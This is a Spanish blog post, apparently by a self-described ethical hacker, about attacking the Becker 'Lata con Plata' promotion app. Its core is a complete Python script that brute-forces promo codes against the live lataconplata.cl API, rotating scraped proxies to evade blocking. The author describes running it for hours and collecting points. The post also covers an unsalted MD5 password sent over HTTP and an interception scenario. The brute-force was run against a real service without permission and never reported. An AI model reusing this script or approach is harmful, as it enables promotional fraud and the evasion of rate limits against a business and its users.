Becker ha lanzado una promoción llamada “Lata con Plata”, esta promoción consiste en que por medio de una aplicación móvil, puedes insertar códigos los cuales se encuentran bajo los tabs. Esto permite a los consumidores acceder a beneficios y a descuentos. Para más información pueden visitar el link de la promoción.
La aplicación
Una vez descargada la aplicación, nos solicita que nos registremos, ya con esto podemos comenzar a ingresar los códigos y a disfrutar de todos los beneficios (si consumen el producto).
Si presionamos ‘INGRESAR CODIGO’, se despliega la siguiente vista:
Si ingresamos un código y este es erróneo, nos muestra la siguiente mascota:
Al ataque
Lo primero que hice fue interceptar el tráfico de la app con la herramienta Burp Suite. Lo cual me mostró lo siguiente:
Podemos observar que envía el código por medio de una solicitud tipo POST al servidor lataconplata.cl con codificación JSON. Veamos la respuesta que nos devuelve el servidor, esperemos que esta vez tenga suerte con el serial ‘AAAAAAAA’:
La respuesta es “Código incorrecto” (nuevamente, no tuve suerte).
Ya entendido a nivel de red como se comporta la app, calcularé las probabilidades de combinatoria, son 36 elementos posibles (valores alfanuméricos insensibles al uso de mayúsculas o minúsculas) y con un largo de 8.
Usando la calculadora de la página hackmath.net, obtenemos el cálculo total:
Aun cuando la cantidad de posibilidades desalienta a cualquiera, realizaré un ataque por medio de fuerza bruta a través del lenguaje scripting Python.
La idea lógica del script es la siguiente:
- Obtener desde varias webs listas de proxy’s.
- Realizar una lista con todas las posibles combinaciones permitidas.
- Crear multi-threads que reciban como entrada el código de 8 dígitos a probar.
- realizar la petición POST desde los thread, incluyendo el token y el código.
- Tomar una acción en base a la respuesta del servidor (cambiar de proxy, código inválido o código válido).
- Escribir en un archivo los códigos válidos recolectados.
Script (disponible en Github):
import threading import requests import itertools from StringIO import StringIO import lxml.etree import time # configuracion token = 'NUESTRO TOKEN' max_thread = 100 max_incidencia = 30 lock = threading.Semaphore(max_thread) output = '' proxy_list = [] proxy = '' offset = 0 incidencia = 0 def cambiar_proxy(proxy_list): global proxy global offset global incidencia incidencia = 0 print '[*] Cambiando proxy...' offset+=1 if(offset >= len(proxy_list)): cargar_proxys(proxy_list) offset = 0 proxy = proxy_list[offset] print '[*] Proxy: ' + proxy def parse(i): global proxy global output global incidencia global max_incidencia proxy_thread = proxy if(incidencia > max_incidencia and proxy_thread == proxy): cambiar_proxy(proxy_list) print '[*] Probando combinacion: ', i try: r = requests.post('https://lataconplata.cl/api/codes', headers={'User-Agent':'Becker-LataConPlata/1.03 (com.becker.lcp; build:12; iOS 11.2.6) Alamofire/4.5.1)','Connection':'close','token':token}, proxies = {'http':proxy_thread}, data={'code':i}, timeout=(5.5, 10)) except Exception as e: print '[*] Error en la conexion' print '[*] Intentando nuevamente' incidencia+=1 parse(i) exit() if 'Usuario no v\u00e1lido' in r.text: print '[*] Usuario NO validado' print '[*] Intentando nuevamente' parse(i) exit() elif '503 Service Temporarily Unavailable' in r.text: print '[*] Servicio no disponible' print '[*] Intentando nuevamente' parse(i) exit() elif 'C\u00f3digo incorrecto' not in r.text and r.status_code == 200 and r.text != '': print '[*] Codigo: \'' + i + '\' valido encontrado :}' output += i + '\n' if(incidencia != 0): incidencia = 0 elif 'C\u00f3digo incorrecto' in r.text: print '[*] Codigo: \'' + i + '\' incorrecto o usado' if(incidencia != 0): incidencia = 0 elif '403 Forbidden' in r.text: print '[*] 403 Forbidden' if(proxy_thread == proxy): cambiar_proxy(proxy_list) parse(i) exit() else: print '[*] Respuesta desconocida' print '[*] Intentando nuevamente' incidencia+=1 parse(i) exit() lock.release() def cargar_proxys(proxy_list): del proxy_list[:] print '[*] Cargando lista de proxys...' # carga lista de proxy's https://www.proxydocker.com (IP de Chile) for p in range(7): response = requests.get("https://www.proxydocker.com/es/proxylist/search?port=All&type=HTTP&anonymity=All&country=Chile&city=All&state=All&need=All&page=" + str(p+1)) tree = lxml.etree.parse(StringIO(response.content), lxml.etree.HTMLParser()) root = tree.getroot() td_tbody = root.xpath('//td//a/@href') for x in td_tbody: if '/es/proxy/' in x: line = x.replace('/es/proxy/', '') proxy_list.append(line) # carga lista de proxy's https://www.sslproxies.org response = requests.get("https://www.sslproxies.org") tree = lxml.etree.parse(StringIO(response.content), lxml.etree.HTMLParser()) root = tree.getroot() td_tbody = root.xpath('//tbody//tr//td/text()') count = 0 line = "" for x in td_tbody: count = count + 1 if(count == 1): line += x elif(count == 2): line += ":" + x elif(count == 8): proxy_list.append(line) count = 0 line = "" # carga lista de proxy's https://www.us-proxy.org response = requests.get("https://www.us-proxy.org") tree = lxml.etree.parse(StringIO(response.content), lxml.etree.HTMLParser()) root = tree.getroot() td_tbody = root.xpath('//tbody//tr//td/text()') count = 0 line = "" for x in td_tbody: count = count + 1 if(count == 1): line += x elif(count == 2): line += ":" + x elif(count == 8): proxy_list.append(line) count = 0 line = "" start_time = time.time() cargar_proxys(proxy_list) proxy = proxy_list[offset] res = itertools.product('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', repeat=8) thread_pool = [] for i in res: con_lst = ''.join(i) thread = threading.Thread(target=parse, args=(con_lst,)) thread_pool.append(thread) thread.start() lock.acquire() for thread in thread_pool: thread.join() file = open('codigos','w+') file.write(output); file.close() print '[*] Script finalizado' print '[*] Tiempo total: ' + str(round((time.time() - start_time),2)) + ' segundos'
Demostración
Tras dejar el script funcionando algunas horas e ir actualizando la información de la app desde el emulador BlueStack para mayor comodidad, podemos observar cómo se van asociando los puntos, niveles y códigos en nuestra cuenta.
Afortunadamente (desde una perspectiva ethical hacking) con el pasar de los días, el administrador del servidor se percató de lo sucedido e implementó una regla que deniega las conexiones provenientes fuera de Chile y delimitó el número de peticiones totales por IP, por lo cual ya no es necesario realizar un reporte.
Otra característica de la app que me llamó la atención fue el registro a través de email:
La contraseña es enviada de forma cifrada, aunque la petición es realizada por medio del protocolo HTTP.
La contraseña que he utilizado es ‘123456’, una contraseña común que puede ser buscada en crackeadores de hash online para poder determinar el algoritmo utilizado:
Clave | Clave cifrada | Tipo |
123456 | e10adc3949ba59abbe56e057f20f883e | md5 |
A través de un ataque MITM, un atacante podría interceptar las peticiones y crackear la clave, quizás no con el objetivo de contar con los magníficos beneficios que entrega la app, si no por la mala costumbre que tienen los usuarios al utilizar siempre las mismas claves, ya con credenciales válidas quizás el siguiente objetivo no sea un simple cupón de descuento.
Conclusión
Pudimos observar la importancia de contar con mecanismos anti-bots y cómo fue posible implementar un script en python capaz de automatizar tareas y optimizar su tiempo de ejecución por medio de la implementación de threads.
Agregar un comentario
Debes iniciar sesión para comentar.